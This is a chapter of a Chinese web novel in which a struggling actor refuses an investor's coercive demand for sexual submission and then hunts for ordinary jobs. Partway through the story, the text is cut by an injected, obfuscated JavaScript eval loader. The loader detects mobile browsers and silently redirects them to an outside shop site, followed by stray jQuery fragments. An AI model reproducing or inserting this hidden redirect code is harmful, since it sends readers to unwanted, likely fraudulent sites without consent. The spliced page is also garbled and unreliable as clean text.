沈未愣了一下，以为自己看错了。他揉了揉眼睛，再看——还是那三个字，贺明远。
这个名字他太熟悉了。
半年前，这个名字曾经频繁的出现在他的生活里，一把锋利的、悬在他脖子上的虎头铡。
他犹豫了一下，还是按了接听键。
“沈未？”电话那头的声音很低，却依旧带着一种胜券在握的得意，“好久不见。”
沈未的喉咙发紧，半天才挤出一句：“贺总。”
贺明远的语气很平淡，仿佛只是在和他家长里短地闲聊：“你最近过得不太好啊。”
沈未没说话。
“视频我看了。那个酒店，凭你自己怕是进不去吧？”电话那头传来几声古怪的哼笑，沈未登时就起了一身鸡皮疙瘩，“怎么，找着靠山了？”
“贺总，您打电话来，就是为了问这个的吗？”沈未强压下内心的恶心，和他虚与委蛇。
贺明远沉默了几秒，就在沈未以为他吃瘪挂断的时候，那头忽然传来一声明显不属于贺明远的喘息。似乎是刻意压抑过的闷哼，就像是……
脑子里的猜想几乎让沈未反胃得要呕吐。
那个声音有点耳熟，如果他没猜错的话，应该是……
“沈未啊，你还是这个臭脾气。”贺明远的声音也带着轻喘，“半年前我请你吃饭你不领情，现在呢？还有饭吃吗？”
沈未握着手机的手紧了紧，声音也有些干涩：“贺总，那顿饭究竟是怎么回事，你我心知肚明。您的饭，我沈未山猪吃不了细糠，享受不了。”
“好，好得很。”贺明远笑了，那笑声让沈未头皮发麻。
“沈未，你跑得了初一跑不了十五。你以为攀上方颂年就安全了？你以为方颂年会护着你？”
沈未的心跳漏了一拍。
“贺总，我不知道您在说什么。”
“别装了。”贺明远的声音忽然冷下来，“你爬方颂年床的事，你以为瞒得住谁？那个视频是谁拍的，你心里没数吗？”
沈未的脸一下子白了。
“贺总，那个视频——”
“我不管那个视频是谁拍的。”贺明远打断他，“我今天打电话来，是想给你一个机会。”
沈未没说话。
“你现在这个情况，公司不管你，方颂年也不理你。你一个十八线小演员，要资源没资源，要背景没背景，你觉得你能撑多久？”
贺明远顿了顿。
“但我可以帮你。那个视频，我可以让人撤掉。热搜，我可以帮你压下去。甚至你以后的资源，我都可以给你。”
“条件呢？”
“条件很简单。”贺明远的声音忽然变得很轻，轻得像一条蛇在耳边吐信子，“你低头。来我这儿，服个软。那天晚上你跑掉的事，我可以不计较。”
沈未握着手机的手在发抖。
太过安静，他甚至能够听见贺明远那边传来清脆的，皮肉碰撞的声音。贺明远的话就好像一双无形的手，一只掐住他的脖子逼他就范，一只啪啪的扇他大耳刮子。
沈未深吸了一口气。
“贺总，”他说，“您说的‘服个软’，是什么意思？”
“你明白我的意思。”
“我不明白。”
电话那头沉默了几秒。
“沈未，你是个聪明人。”贺明远的声音听不出情绪，“你应该知道，在这个圈子里，光有脸蛋是不够的。你得有人捧。方颂年不捧你，陈年不管你，你还有什么？”
沈未没说话。
“我给你三天时间考虑。”贺明远说，“三天之后，你要是想通了，就打这个电话。要是想不通——”
他没说完，但沈未懂他的意思。
电话挂了。
忙音嘟嘟嘟地响着，沈未却好半晌都没动。
他盯着黑下去的手机屏幕发呆，从屏幕的反光里看清自己麻木的脸。他想起来那天晚上的饭局，包间里烟雾缭绕，陈年坐在他身边，笑眯眯地给他介绍投资人，这个是李总，那个是张总，坐在饭局主位的，就是这位贺总。
那天，他从包间里出来就浑浑噩噩，躲在饭店的洗手间里疯狂地扣自己嗓子眼，恨不得把全身的内脏都吐出来洗干净了在塞回去。
回去以后，光是那几张脸，他就做了一个月的噩梦。再然后，他就接到了和蒋汀一起进组的通告。
起初他根本不知道蒋汀和贺明远能有什么关系，直到——
他在剧组的化妆间撞破赤.身.裸.体的蒋汀和贺明远那张他这辈子的不会忘记的脸。
不去，打死也不去。
冰冷的凉水拍在脸上，激得他控制不住一个哆嗦。只有呼出的气体在眼前化成一阵阵白雾，沈未才能惊觉自己还活着。
怪不得自从杀青以后他就再也没有工作，现在他明白了，不是没有工作，是有人不让他工作。
沈未把手机扔到一边，闭上眼睛。手指攥着被角，攥得指节泛白。他想起那个人那张烟雾缭绕下的脸，想到沈诺的学费，他们俩的房租和伙食费。
但他不能去。
要是去了，他就真的没有回头路了。
——
第二天一早，沈未出门了。
昨晚他挂了电话以后特地下了个当下评分最高的招聘软件。不就是不干这一行了，他沈未在哪儿都能活，干一行，行一行！
招聘软件的页面做的很简单，可工作岗位鱼龙混杂。
沈未注册好账号，什么都还没干呢，十几条招聘消息就砸了过来。
【90后初创公司，氛围好，工作轻松……】
【诚招主播，无责底薪8k起……】
沈未退出去页面，翻到餐饮招聘那一栏，推荐的第一个离他们家不远，是个湘菜馆。招洗碗工，工资不高，但包吃还有住房补贴。
他盯着“洗碗工”三个字看了很久。
三年前，他就是在饭馆洗碗的。
洗了半年，攒了点钱，才敢去剧组跑龙套。
三年后，他又打算回饭馆洗碗。
他出招聘软件，把手机扣到胸口上。
“沈未。”他对自己说，“你可真他妈有出息。”
他把招聘软件翻了个底朝天，凌晨一点都还在往收藏夹里添加他觉得靠谱的岗位。餐饮、零售、快递分拣、超市理货，什么都有。他已经
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17886011|212534||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
想好了，不管成不成，先面试了再说。
第一家在城东，是个连锁奶茶店，开在一条商业街的拐角，门面不算大。沈未到的时候刚过酒店，卷帘门刚拉起来，一个扎着马尾的店员在里头忙得不可开交。
“你好，”沈未站在门口，有点局促，“我昨天在网上看到你们这在招店员……”
店员闻声抬起头，上下打量了他一眼。沈未感觉自己起了一身鸡皮疙瘩，下意识想躲。但店员只是甩了甩手上的水，顺手从收银台抽了一张表递过来，扭头朝店里头喊了一声：“店长，有人来面试！”
奶茶店里头没有椅子，他就趴在收银台边上一笔一画地写。姓名，年龄，联系方式……一直写到工作经历，他的笔尖顿住了。
“三年演员？”——他写不下去。
黑笔的笔尖在那个空白处点了好几下，最后，只落下了四个字“自由职业”
店长是个三十出头的女人，接过表看了一眼就皱了眉：“你以前没做过啊？”
“没有。”沈未老实地说，“但是我学东西很快。”
“学东西很快？”店长重复了一遍，语气不冷不热，“我们这儿要的是熟手，要直接就能上手干活的，现在旺季这么忙，我上哪儿找人培训你？”
沈未张了张嘴，想说头两个月工资少点也没关系，可他什么都没说出来。因为店长说完就转过头去和那个店员说话：“小周，今天物料清点了没有？”
他站在原地等了几秒，确认店长没有再理会他的意思，转身走了。
走到店门口的时候，他好像听见身后传来一阵轻笑，听不清是刚刚到店里点单的客人还是其他人。他没回头。
第二家是个便利店，开在一栋写字楼底下，门口白纸黑字地贴着招聘启事：全职店员，月薪四千五，上四休一。
“以前做过吗？”
“没有。”
“会。”沈未顿了顿，还是撒了谎。
店长点点头，又问：“夜班能接受吗？”
沈未犹豫了两秒，还是点了头：“可以。”
“晚上十点到早上八点，收银、理货、补货，八点白班回来接你的班。考勤走排班，上二休二，可以吗？”
沈未愣了一下：“一个人？”
“对。”店长点点头，“之前几个都说晚上一个人上班害怕，干不长。”
说着，他又掏出来一张表格：“可以的话，先试岗三天，试岗期一天八十，转正以后四千五加提成，没问题明天过来上班。”
沈未接过表格，心里松了一口气——不管怎么样，好歹是有收入了，八十块不多，蚊子大小也是肉嘛。
他在路边的便利店买了一瓶水，坐在路边喝了一口，手机时不时还能收到招聘软件的广告推送，他一边喝，一边翻有没有更好的代替。
翻着翻着，沈未的目光猛地一滞。
招聘软件的推送一条接一条。
【亲爱的回一下呢。】
【全职主播，无责底薪8k+……】
【你好老师，考虑跳槽吗？】
沈未控制不住抽了抽嘴角。
现在这个社会，还真是饿不死人。